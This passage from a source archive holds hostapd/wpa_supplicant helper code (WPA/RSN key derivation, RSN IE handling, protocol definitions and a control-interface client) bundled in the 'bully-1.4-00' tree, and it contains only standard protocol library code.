* PTKName = Truncate-128(SHA-256(PMKR1Name || "FT-PTKN" || SNonce ||
* ANonce || BSSID || STA-ADDR))
*/
addr[0] = pmk_r1_name;
len[0] = WPA_PMK_NAME_LEN;
addr[1] = (const u8 *) "FT-PTKN";
len[1] = 7;
addr[2] = snonce;
len[2] = WPA_NONCE_LEN;
addr[3] = anonce;
len[3] = WPA_NONCE_LEN;
addr[4] = bssid;
len[4] = ETH_ALEN;
addr[5] = sta_addr;
len[5] = ETH_ALEN;
sha256_vector(6, addr, len, hash);
os_memcpy(ptk_name, hash, WPA_PMK_NAME_LEN);
}
#endif /* CONFIG_IEEE80211R */
/**
* rsn_pmkid - Calculate PMK identifier
* @pmk: Pairwise master key
* @pmk_len: Length of pmk in bytes
* @aa: Authenticator address
* @spa: Supplicant address
* @pmkid: Buffer for PMKID
* @use_sha256: Whether to use SHA256-based KDF
*
* IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy
* PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AA || SPA)
*/
void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa,
u8 *pmkid, int use_sha256)
{
char *title = "PMK Name";
const u8 *addr[3];
const size_t len[3] = { 8, ETH_ALEN, ETH_ALEN };
unsigned char hash[SHA256_MAC_LEN];
addr[0] = (u8 *) title;
addr[1] = aa;
addr[2] = spa;
#ifdef CONFIG_IEEE80211W
if (use_sha256)
hmac_sha256_vector(pmk, pmk_len, 3, addr, len, hash);
else
#endif /* CONFIG_IEEE80211W */
hmac_sha1_vector(pmk, pmk_len, 3, addr, len, hash);
os_memcpy(pmkid, hash, PMKID_LEN);
}
/**
* wpa_cipher_txt - Convert cipher suite to a text string
* @cipher: Cipher suite (WPA_CIPHER_* enum)
* Returns: Pointer to a text string of the cipher suite name
*/
const char * wpa_cipher_txt(int cipher)
{
switch (cipher) {
case WPA_CIPHER_NONE:
return "NONE";
case WPA_CIPHER_WEP40:
return "WEP-40";
case WPA_CIPHER_WEP104:
return "WEP-104";
case WPA_CIPHER_TKIP:
return "TKIP";
case WPA_CIPHER_CCMP:
return "CCMP";
case WPA_CIPHER_CCMP | WPA_CIPHER_TKIP:
return "CCMP+TKIP";
default:
return "UNKNOWN";
}
}
/**
* wpa_key_mgmt_txt - Convert key management suite to a text string
* @key_mgmt: Key management suite (WPA_KEY_MGMT_* enum)
* @proto: WPA/WPA2 version (WPA_PROTO_*)
* Returns: Pointer to a text string of the key management suite name
*/
const char * wpa_key_mgmt_txt(int key_mgmt, int proto)
{
switch (key_mgmt) {
case WPA_KEY_MGMT_IEEE8021X:
if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA))
return "WPA2+WPA/IEEE 802.1X/EAP";
return proto == WPA_PROTO_RSN ?
"WPA2/IEEE 802.1X/EAP" : "WPA/IEEE 802.1X/EAP";
case WPA_KEY_MGMT_PSK:
if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA))
return "WPA2-PSK+WPA-PSK";
return proto == WPA_PROTO_RSN ?
"WPA2-PSK" : "WPA-PSK";
case WPA_KEY_MGMT_NONE:
return "NONE";
case WPA_KEY_MGMT_IEEE8021X_NO_WPA:
return "IEEE 802.1X (no WPA)";
#ifdef CONFIG_IEEE80211R
case WPA_KEY_MGMT_FT_IEEE8021X:
return "FT-EAP";
case WPA_KEY_MGMT_FT_PSK:
return "FT-PSK";
#endif /* CONFIG_IEEE80211R */
#ifdef CONFIG_IEEE80211W
case WPA_KEY_MGMT_IEEE8021X_SHA256:
return "WPA2-EAP-SHA256";
case WPA_KEY_MGMT_PSK_SHA256:
return "WPA2-PSK-SHA256";
#endif /* CONFIG_IEEE80211W */
default:
return "UNKNOWN";
}
}
int wpa_compare_rsn_ie(int ft_initial_assoc,
const u8 *ie1, size_t ie1len,
const u8 *ie2, size_t ie2len)
{
if (ie1 == NULL || ie2 == NULL)
return -1;
if (ie1len == ie2len && os_memcmp(ie1, ie2, ie1len) == 0)
return 0; /* identical IEs */
#ifdef CONFIG_IEEE80211R
if (ft_initial_assoc) {
struct wpa_ie_data ie1d, ie2d;
/*
* The PMKID-List in RSN IE is different between Beacon/Probe
* Response/(Re)Association Request frames and EAPOL-Key
* messages in FT initial mobility domain association. Allow
* for this, but verify that other parts of the RSN IEs are
* identical.
*/
if (wpa_parse_wpa_ie_rsn(ie1, ie1len, &ie1d) < 0 ||
wpa_parse_wpa_ie_rsn(ie2, ie2len, &ie2d) < 0)
return -1;
if (ie1d.proto == ie2d.proto &&
ie1d.pairwise_cipher == ie2d.pairwise_cipher &&
ie1d.group_cipher == ie2d.group_cipher &&
ie1d.key_mgmt == ie2d.key_mgmt &&
ie1d.capabilities == ie2d.capabilities &&
ie1d.mgmt_group_cipher == ie2d.mgmt_group_cipher)
return 0;
}
#endif /* CONFIG_IEEE80211R */
return -1;
}
#ifdef CONFIG_IEEE80211R
int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid)
{
u8 *start, *end, *rpos, *rend;
int added = 0;
start = ies;
end = ies + ies_len;
while (start < end) {
if (*start == WLAN_EID_RSN)
break;
start += 2 + start[1];
}
if (start >= end) {
wpa_printf(MSG_ERROR, "FT: Could not find RSN IE in "
"IEs data");
return -1;
}
wpa_hexdump(MSG_DEBUG, "FT: RSN IE before modification",
start, 2 + start[1]);
/* Find start of PMKID-Count */
rpos = start + 2;
rend = rpos + start[1];
/* Skip Version and Group Data Cipher Suite */
rpos += 2 + 4;
/* Skip Pairwise Cipher Suite Count and List */
rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN;
/* Skip AKM Suite Count and List */
rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN;
if (rpos == rend) {
/* Add RSN Capabilities */
os_memmove(rpos + 2, rpos, end - rpos);
*rpos++ = 0;
*rpos++ = 0;
} else {
/* Skip RSN Capabilities */
rpos += 2;
if (rpos > rend) {
wpa_printf(MSG_ERROR, "FT: Could not parse RSN IE in "
"IEs data");
return -1;
}
}
if (rpos == rend) {
/* No PMKID-Count field included; add it */
os_memmove(rpos + 2 + PMKID_LEN, rpos, end - rpos);
WPA_PUT_LE16(rpos, 1);
rpos += 2;
os_memcpy(rpos, pmkid, PMKID_LEN);
added += 2 + PMKID_LEN;
start[1] += 2 + PMKID_LEN;
} else {
/* PMKID-Count was included; use it */
if (WPA_GET_LE16(rpos) != 0) {
wpa_printf(MSG_ERROR, "FT: Unexpected PMKID "
"in RSN IE in EAPOL-Key data");
return -1;
}
WPA_PUT_LE16(rpos, 1);
rpos += 2;
os_memmove(rpos + PMKID_LEN, rpos, end - rpos);
os_memcpy(rpos, pmkid, PMKID_LEN);
added += PMKID_LEN;
start[1] += PMKID_LEN;
}
wpa_hexdump(MSG_DEBUG, "FT: RSN IE after modification "
"(PMKID inserted)", start, 2 + start[1]);
return added;
}
#endif /* CONFIG_IEEE80211R */
bully-1.4-00/src/common/wpa_common.h 0000775 0000000 0000000 00000024752 13615304636 0017335 0 ustar 00root root 0000000 0000000 /*
* WPA definitions shared between hostapd and wpa_supplicant
* Copyright (c) 2002-2008, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef WPA_COMMON_H
#define WPA_COMMON_H
#define WPA_MAX_SSID_LEN 32
/* IEEE 802.11i */
#define PMKID_LEN 16
#define PMK_LEN 32
#define WPA_REPLAY_COUNTER_LEN 8
#define WPA_NONCE_LEN 32
#define WPA_KEY_RSC_LEN 8
#define WPA_GMK_LEN 32
#define WPA_GTK_MAX_LEN 32
#define WPA_SELECTOR_LEN 4
#define WPA_VERSION 1
#define RSN_SELECTOR_LEN 4
#define RSN_VERSION 1
#define RSN_SELECTOR(a, b, c, d) \
((((u32) (a)) << 24) | (((u32) (b)) << 16) | (((u32) (c)) << 8) | \
(u32) (d))
#define WPA_AUTH_KEY_MGMT_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0)
#define WPA_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 1)
#define WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 2)
#define WPA_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0)
#define WPA_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x50, 0xf2, 1)
#define WPA_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x50, 0xf2, 2)
#if 0
#define WPA_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x50, 0xf2, 3)
#endif
#define WPA_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x50, 0xf2, 4)
#define WPA_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x50, 0xf2, 5)
#define RSN_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 1)
#define RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 2)
#ifdef CONFIG_IEEE80211R
#define RSN_AUTH_KEY_MGMT_FT_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 3)
#define RSN_AUTH_KEY_MGMT_FT_PSK RSN_SELECTOR(0x00, 0x0f, 0xac, 4)
#endif /* CONFIG_IEEE80211R */
#define RSN_AUTH_KEY_MGMT_802_1X_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 5)
#define RSN_AUTH_KEY_MGMT_PSK_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 6)
#define RSN_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x0f, 0xac, 0)
#define RSN_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x0f, 0xac, 1)
#define RSN_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x0f, 0xac, 2)
#if 0
#define RSN_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x0f, 0xac, 3)
#endif
#define RSN_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x0f, 0xac, 4)
#define RSN_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x0f, 0xac, 5)
#ifdef CONFIG_IEEE80211W
#define RSN_CIPHER_SUITE_AES_128_CMAC RSN_SELECTOR(0x00, 0x0f, 0xac, 6)
#endif /* CONFIG_IEEE80211W */
/* EAPOL-Key Key Data Encapsulation
* GroupKey and PeerKey require encryption, otherwise, encryption is optional.
*/
#define RSN_KEY_DATA_GROUPKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 1)
#if 0
#define RSN_KEY_DATA_STAKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 2)
#endif
#define RSN_KEY_DATA_MAC_ADDR RSN_SELECTOR(0x00, 0x0f, 0xac, 3)
#define RSN_KEY_DATA_PMKID RSN_SELECTOR(0x00, 0x0f, 0xac, 4)
#ifdef CONFIG_PEERKEY
#define RSN_KEY_DATA_SMK RSN_SELECTOR(0x00, 0x0f, 0xac, 5)
#define RSN_KEY_DATA_NONCE RSN_SELECTOR(0x00, 0x0f, 0xac, 6)
#define RSN_KEY_DATA_LIFETIME RSN_SELECTOR(0x00, 0x0f, 0xac, 7)
#define RSN_KEY_DATA_ERROR RSN_SELECTOR(0x00, 0x0f, 0xac, 8)
#endif /* CONFIG_PEERKEY */
#ifdef CONFIG_IEEE80211W
#define RSN_KEY_DATA_IGTK RSN_SELECTOR(0x00, 0x0f, 0xac, 9)
#endif /* CONFIG_IEEE80211W */
#define WPA_OUI_TYPE RSN_SELECTOR(0x00, 0x50, 0xf2, 1)
#define RSN_SELECTOR_PUT(a, val) WPA_PUT_BE32((u8 *) (a), (val))
#define RSN_SELECTOR_GET(a) WPA_GET_BE32((const u8 *) (a))
#define RSN_NUM_REPLAY_COUNTERS_1 0
#define RSN_NUM_REPLAY_COUNTERS_2 1
#define RSN_NUM_REPLAY_COUNTERS_4 2
#define RSN_NUM_REPLAY_COUNTERS_16 3
#ifdef _MSC_VER
#pragma pack(push, 1)
#endif /* _MSC_VER */
#ifdef CONFIG_IEEE80211W
#define WPA_IGTK_LEN 16
#endif /* CONFIG_IEEE80211W */
/* IEEE 802.11, 7.3.2.25.3 RSN Capabilities */
#define WPA_CAPABILITY_PREAUTH BIT(0)
#define WPA_CAPABILITY_NO_PAIRWISE BIT(1)
/* B2-B3: PTKSA Replay Counter */
/* B4-B5: GTKSA Replay Counter */
#define WPA_CAPABILITY_MFPR BIT(6)
#define WPA_CAPABILITY_MFPC BIT(7)
#define WPA_CAPABILITY_PEERKEY_ENABLED BIT(9)
/* IEEE 802.11r */
#define MOBILITY_DOMAIN_ID_LEN 2
#define FT_R0KH_ID_MAX_LEN 48
#define FT_R1KH_ID_LEN 6
#define WPA_PMK_NAME_LEN 16
/* IEEE 802.11, 8.5.2 EAPOL-Key frames */
#define WPA_KEY_INFO_TYPE_MASK ((u16) (BIT(0) | BIT(1) | BIT(2)))
#define WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 BIT(0)
#define WPA_KEY_INFO_TYPE_HMAC_SHA1_AES BIT(1)
#define WPA_KEY_INFO_TYPE_AES_128_CMAC 3
#define WPA_KEY_INFO_KEY_TYPE BIT(3) /* 1 = Pairwise, 0 = Group key */
/* bit4..5 is used in WPA, but is reserved in IEEE 802.11i/RSN */
#define WPA_KEY_INFO_KEY_INDEX_MASK (BIT(4) | BIT(5))
#define WPA_KEY_INFO_KEY_INDEX_SHIFT 4
#define WPA_KEY_INFO_INSTALL BIT(6) /* pairwise */
#define WPA_KEY_INFO_TXRX BIT(6) /* group */
#define WPA_KEY_INFO_ACK BIT(7)
#define WPA_KEY_INFO_MIC BIT(8)
#define WPA_KEY_INFO_SECURE BIT(9)
#define WPA_KEY_INFO_ERROR BIT(10)
#define WPA_KEY_INFO_REQUEST BIT(11)
#define WPA_KEY_INFO_ENCR_KEY_DATA BIT(12) /* IEEE 802.11i/RSN only */
#define WPA_KEY_INFO_SMK_MESSAGE BIT(13)
struct wpa_eapol_key {
u8 type;
/* Note: key_info, key_length, and key_data_length are unaligned */
u8 key_info[2]; /* big endian */
u8 key_length[2]; /* big endian */
u8 replay_counter[WPA_REPLAY_COUNTER_LEN];
u8 key_nonce[WPA_NONCE_LEN];
u8 key_iv[16];
u8 key_rsc[WPA_KEY_RSC_LEN];
u8 key_id[8]; /* Reserved in IEEE 802.11i/RSN */
u8 key_mic[16];
u8 key_data_length[2]; /* big endian */
/* followed by key_data_length bytes of key_data */
} STRUCT_PACKED;
/**
* struct wpa_ptk - WPA Pairwise Transient Key
* IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy
*/
struct wpa_ptk {
u8 kck[16]; /* EAPOL-Key Key Confirmation Key (KCK) */
u8 kek[16]; /* EAPOL-Key Key Encryption Key (KEK) */
u8 tk1[16]; /* Temporal Key 1 (TK1) */
union {
u8 tk2[16]; /* Temporal Key 2 (TK2) */
struct {
u8 tx_mic_key[8];
u8 rx_mic_key[8];
} auth;
} u;
} STRUCT_PACKED;
/* WPA IE version 1
* 00-50-f2:1 (OUI:OUI type)
* 0x01 0x00 (version; little endian)
* (all following fields are optional:)
* Group Suite Selector (4 octets) (default: TKIP)
* Pairwise Suite Count (2 octets, little endian) (default: 1)
* Pairwise Suite List (4 * n octets) (default: TKIP)
* Authenticated Key Management Suite Count (2 octets, little endian)
* (default: 1)
* Authenticated Key Management Suite List (4 * n octets)
* (default: unspec 802.1X)
* WPA Capabilities (2 octets, little endian) (default: 0)
*/
struct wpa_ie_hdr {
u8 elem_id;
u8 len;
u8 oui[4]; /* 24-bit OUI followed by 8-bit OUI type */
u8 version[2]; /* little endian */
} STRUCT_PACKED;
/* 1/4: PMKID
* 2/4: RSN IE
* 3/4: one or two RSN IEs + GTK IE (encrypted)
* 4/4: empty
* 1/2: GTK IE (encrypted)
* 2/2: empty
*/
/* RSN IE version 1
* 0x01 0x00 (version; little endian)
* (all following fields are optional:)
* Group Suite Selector (4 octets) (default: CCMP)
* Pairwise Suite Count (2 octets, little endian) (default: 1)
* Pairwise Suite List (4 * n octets) (default: CCMP)
* Authenticated Key Management Suite Count (2 octets, little endian)
* (default: 1)
* Authenticated Key Management Suite List (4 * n octets)
* (default: unspec 802.1X)
* RSN Capabilities (2 octets, little endian) (default: 0)
* PMKID Count (2 octets) (default: 0)
* PMKID List (16 * n octets)
* Management Group Cipher Suite (4 octets) (default: AES-128-CMAC)
*/
struct rsn_ie_hdr {
u8 elem_id; /* WLAN_EID_RSN */
u8 len;
u8 version[2]; /* little endian */
} STRUCT_PACKED;
#ifdef CONFIG_PEERKEY
enum {
STK_MUI_4WAY_STA_AP = 1,
STK_MUI_4WAY_STAT_STA = 2,
STK_MUI_GTK = 3,
STK_MUI_SMK = 4
};
enum {
STK_ERR_STA_NR = 1,
STK_ERR_STA_NRSN = 2,
STK_ERR_CPHR_NS = 3,
STK_ERR_NO_STSL = 4
};
#endif /* CONFIG_PEERKEY */
struct rsn_error_kde {
be16 mui;
be16 error_type;
} STRUCT_PACKED;
#ifdef CONFIG_IEEE80211W
struct wpa_igtk_kde {
u8 keyid[2];
u8 pn[6];
u8 igtk[WPA_IGTK_LEN];
} STRUCT_PACKED;
#endif /* CONFIG_IEEE80211W */
#ifdef CONFIG_IEEE80211R
struct rsn_mdie {
u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN];
u8 ft_capab;
} STRUCT_PACKED;
#define RSN_FT_CAPAB_FT_OVER_DS BIT(0)
#define RSN_FT_CAPAB_FT_RESOURCE_REQ_SUPP BIT(1)
struct rsn_ftie {
u8 mic_control[2];
u8 mic[16];
u8 anonce[WPA_NONCE_LEN];
u8 snonce[WPA_NONCE_LEN];
/* followed by optional parameters */
} STRUCT_PACKED;
#define FTIE_SUBELEM_R1KH_ID 1
#define FTIE_SUBELEM_GTK 2
#define FTIE_SUBELEM_R0KH_ID 3
#define FTIE_SUBELEM_IGTK 4
struct rsn_rdie {
u8 id;
u8 descr_count;
le16 status_code;
} STRUCT_PACKED;
#endif /* CONFIG_IEEE80211R */
#ifdef _MSC_VER
#pragma pack(pop)
#endif /* _MSC_VER */
int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len,
u8 *mic);
void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label,
const u8 *addr1, const u8 *addr2,
const u8 *nonce1, const u8 *nonce2,
u8 *ptk, size_t ptk_len, int use_sha256);
#ifdef CONFIG_IEEE80211R
int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr,
u8 transaction_seqnum, const u8 *mdie, size_t mdie_len,
const u8 *ftie, size_t ftie_len,
const u8 *rsnie, size_t rsnie_len,
const u8 *ric, size_t ric_len, u8 *mic);
void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len,
const u8 *ssid, size_t ssid_len,
const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len,
const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name);
void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id,
const u8 *s1kh_id, u8 *pmk_r1_name);
void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name,
const u8 *r1kh_id, const u8 *s1kh_id,
u8 *pmk_r1, u8 *pmk_r1_name);
void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce,
const u8 *sta_addr, const u8 *bssid,
const u8 *pmk_r1_name,
u8 *ptk, size_t ptk_len, u8 *ptk_name);
#endif /* CONFIG_IEEE80211R */
struct wpa_ie_data {
int proto;
int pairwise_cipher;
int group_cipher;
int key_mgmt;
int capabilities;
size_t num_pmkid;
const u8 *pmkid;
int mgmt_group_cipher;
};
int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len,
struct wpa_ie_data *data);
void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa,
u8 *pmkid, int use_sha256);
const char * wpa_cipher_txt(int cipher);
const char * wpa_key_mgmt_txt(int key_mgmt, int proto);
int wpa_compare_rsn_ie(int ft_initial_assoc,
const u8 *ie1, size_t ie1len,
const u8 *ie2, size_t ie2len);
int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid);
#endif /* WPA_COMMON_H */
bully-1.4-00/src/common/wpa_ctrl.c 0000775 0000000 0000000 00000023203 13615304636 0016772 0 ustar 00root root 0000000 0000000 /*
* wpa_supplicant/hostapd control interface library
* Copyright (c) 2004-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#ifdef CONFIG_CTRL_IFACE
#ifdef CONFIG_CTRL_IFACE_UNIX
#include
#endif /* CONFIG_CTRL_IFACE_UNIX */
#include "wpa_ctrl.h"
#include "common.h"
#if defined(CONFIG_CTRL_IFACE_UNIX) || defined(CONFIG_CTRL_IFACE_UDP)
#define CTRL_IFACE_SOCKET
#endif /* CONFIG_CTRL_IFACE_UNIX || CONFIG_CTRL_IFACE_UDP */
/**
* struct wpa_ctrl - Internal structure for control interface library
*
* This structure is used by the wpa_supplicant/hostapd control interface
* library to store internal data. Programs using the library should not touch
* this data directly. They can only use the pointer to the data structure as
* an identifier for the control interface connection and use this as one of
* the arguments for most of the control interface library functions.
*/
struct wpa_ctrl {
#ifdef CONFIG_CTRL_IFACE_UDP
int s;
struct sockaddr_in local;
struct sockaddr_in dest;
char *cookie;
#endif /* CONFIG_CTRL_IFACE_UDP */
#ifdef CONFIG_CTRL_IFACE_UNIX
int s;
struct sockaddr_un local;
struct sockaddr_un dest;
#endif /* CONFIG_CTRL_IFACE_UNIX */
#ifdef CONFIG_CTRL_IFACE_NAMED_PIPE
HANDLE pipe;
#endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */
};
#ifdef CONFIG_CTRL_IFACE_UNIX
struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path)
{
struct wpa_ctrl *ctrl;
static int counter = 0;
int ret;
size_t res;
int tries = 0;
ctrl = os_malloc(sizeof(*ctrl));
if (ctrl == NULL)
return NULL;
os_memset(ctrl, 0, sizeof(*ctrl));
ctrl->s = socket(PF_UNIX, SOCK_DGRAM, 0);
if (ctrl->s < 0) {
os_free(ctrl);
return NULL;
}
ctrl->local.sun_family = AF_UNIX;
counter++;
try_again:
ret = os_snprintf(ctrl->local.sun_path, sizeof(ctrl->local.sun_path),
"/tmp/wpa_ctrl_%d-%d", getpid(), counter);
if (ret < 0 || (size_t) ret >= sizeof(ctrl->local.sun_path)) {
close(ctrl->s);
os_free(ctrl);
return NULL;
}
tries++;
if (bind(ctrl->s, (struct sockaddr *) &ctrl->local,
sizeof(ctrl->local)) < 0) {
if (errno == EADDRINUSE && tries < 2) {
/*
* getpid() returns unique identifier for this instance
* of wpa_ctrl, so the existing socket file must have
* been left by unclean termination of an earlier run.
* Remove the file and try again.
*/
unlink(ctrl->local.sun_path);
goto try_again;
}
close(ctrl->s);
os_free(ctrl);
return NULL;
}
ctrl->dest.sun_family = AF_UNIX;
res = os_strlcpy(ctrl->dest.sun_path, ctrl_path,
sizeof(ctrl->dest.sun_path));
if (res >= sizeof(ctrl->dest.sun_path)) {
close(ctrl->s);
os_free(ctrl);
return NULL;
}
if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest,
sizeof(ctrl->dest)) < 0) {
close(ctrl->s);
unlink(ctrl->local.sun_path);
os_free(ctrl);
return NULL;
}
return ctrl;
}
void wpa_ctrl_close(struct wpa_ctrl *ctrl)
{
unlink(ctrl->local.sun_path);
close(ctrl->s);
os_free(ctrl);
}
#endif /* CONFIG_CTRL_IFACE_UNIX */
#ifdef CONFIG_CTRL_IFACE_UDP
struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path)
{
struct wpa_ctrl *ctrl;
char buf[128];
size_t len;
ctrl = os_malloc(sizeof(*ctrl));
if (ctrl == NULL)
return NULL;
os_memset(ctrl, 0, sizeof(*ctrl));
ctrl->s = socket(PF_INET, SOCK_DGRAM, 0);
if (ctrl->s < 0) {
perror("socket");
os_free(ctrl);
return NULL;
}
ctrl->local.sin_family = AF_INET;
ctrl->local.sin_addr.s_addr = htonl((127 << 24) | 1);
if (bind(ctrl->s, (struct sockaddr *) &ctrl->local,
sizeof(ctrl->local)) < 0) {
close(ctrl->s);
os_free(ctrl);
return NULL;
}
ctrl->dest.sin_family = AF_INET;
ctrl->dest.sin_addr.s_addr = htonl((127 << 24) | 1);
ctrl->dest.sin_port = htons(WPA_CTRL_IFACE_PORT);
if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest,
sizeof(ctrl->dest)) < 0) {
perror("connect");
close(ctrl->s);
os_free(ctrl);
return NULL;
}
len = sizeof(buf) - 1;
if (wpa_ctrl_request(ctrl, "GET_COOKIE", 10, buf, &len, NULL) == 0) {
buf[len] = '\0';
ctrl->cookie = os_strdup(buf);
}
return ctrl;
}
void wpa_ctrl_close(struct wpa_ctrl *ctrl)
{
close(ctrl->s);
os_free(ctrl->cookie);
os_free(ctrl);
}
#endif /* CONFIG_CTRL_IFACE_UDP */
#ifdef CTRL_IFACE_SOCKET
int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len,
char *reply, size_t *reply_len,
void (*msg_cb)(char *msg, size_t len))
{
struct timeval tv;
int res;
fd_set rfds;
const char *_cmd;
char *cmd_buf = NULL;
size_t _cmd_len;
#ifdef CONFIG_CTRL_IFACE_UDP
if (ctrl->cookie) {
char *pos;
_cmd_len = os_strlen(ctrl->cookie) + 1 + cmd_len;
cmd_buf = os_malloc(_cmd_len);
if (cmd_buf == NULL)
return -1;
_cmd = cmd_buf;
pos = cmd_buf;
os_strlcpy(pos, ctrl->cookie, _cmd_len);
pos += os_strlen(ctrl->cookie);
*pos++ = ' ';
os_memcpy(pos, cmd, cmd_len);
} else
#endif /* CONFIG_CTRL_IFACE_UDP */
{
_cmd = cmd;
_cmd_len = cmd_len;
}
if (send(ctrl->s, _cmd, _cmd_len, 0) < 0) {
os_free(cmd_buf);
return -1;
}
os_free(cmd_buf);
for (;;) {
tv.tv_sec = 2;
tv.tv_usec = 0;
FD_ZERO(&rfds);
FD_SET(ctrl->s, &rfds);
res = select(ctrl->s + 1, &rfds, NULL, NULL, &tv);
if (FD_ISSET(ctrl->s, &rfds)) {
res = recv(ctrl->s, reply, *reply_len, 0);
if (res < 0)
return res;
if (res > 0 && reply[0] == '<') {
/* This is an unsolicited message from
* wpa_supplicant, not the reply to the
* request. Use msg_cb to report this to the
* caller. */
if (msg_cb) {
/* Make sure the message is nul
* terminated. */
if ((size_t) res == *reply_len)
res = (*reply_len) - 1;
reply[res] = '\0';
msg_cb(reply, res);
}
continue;
}
*reply_len = res;
break;
} else {
return -2;
}
}
return 0;
}
#endif /* CTRL_IFACE_SOCKET */
static int wpa_ctrl_attach_helper(struct wpa_ctrl *ctrl, int attach)
{
char buf[10];
int ret;
size_t len = 10;
ret = wpa_ctrl_request(ctrl, attach ? "ATTACH" : "DETACH", 6,
buf, &len, NULL);
if (ret < 0)
return ret;
if (len == 3 && os_memcmp(buf, "OK\n", 3) == 0)
return 0;
return -1;
}
int wpa_ctrl_attach(struct wpa_ctrl *ctrl)
{
return wpa_ctrl_attach_helper(ctrl, 1);
}
int wpa_ctrl_detach(struct wpa_ctrl *ctrl)
{
return wpa_ctrl_attach_helper(ctrl, 0);
}
#ifdef CTRL_IFACE_SOCKET
int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len)
{
int res;
res = recv(ctrl->s, reply, *reply_len, 0);
if (res < 0)
return res;
*reply_len = res;
return 0;
}
int wpa_ctrl_pending(struct wpa_ctrl *ctrl)
{
struct timeval tv;
fd_set rfds;
tv.tv_sec = 0;
tv.tv_usec = 0;
FD_ZERO(&rfds);
FD_SET(ctrl->s, &rfds);
select(ctrl->s + 1, &rfds, NULL, NULL, &tv);
return FD_ISSET(ctrl->s, &rfds);
}
int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl)
{
return ctrl->s;
}
#endif /* CTRL_IFACE_SOCKET */
#ifdef CONFIG_CTRL_IFACE_NAMED_PIPE
#ifndef WPA_SUPPLICANT_NAMED_PIPE
#define WPA_SUPPLICANT_NAMED_PIPE "WpaSupplicant"
#endif
#define NAMED_PIPE_PREFIX TEXT("\\\\.\\pipe\\") TEXT(WPA_SUPPLICANT_NAMED_PIPE)
struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path)
{
struct wpa_ctrl *ctrl;
DWORD mode;
TCHAR name[256];
int i, ret;
ctrl = os_malloc(sizeof(*ctrl));
if (ctrl == NULL)
return NULL;
os_memset(ctrl, 0, sizeof(*ctrl));
#ifdef UNICODE
if (ctrl_path == NULL)
ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX);
else
ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX TEXT("-%S"),
ctrl_path);
#else /* UNICODE */
if (ctrl_path == NULL)
ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX);
else
ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX "-%s",
ctrl_path);
#endif /* UNICODE */
if (ret < 0 || ret >= 256) {
os_free(ctrl);
return NULL;
}
for (i = 0; i < 10; i++) {
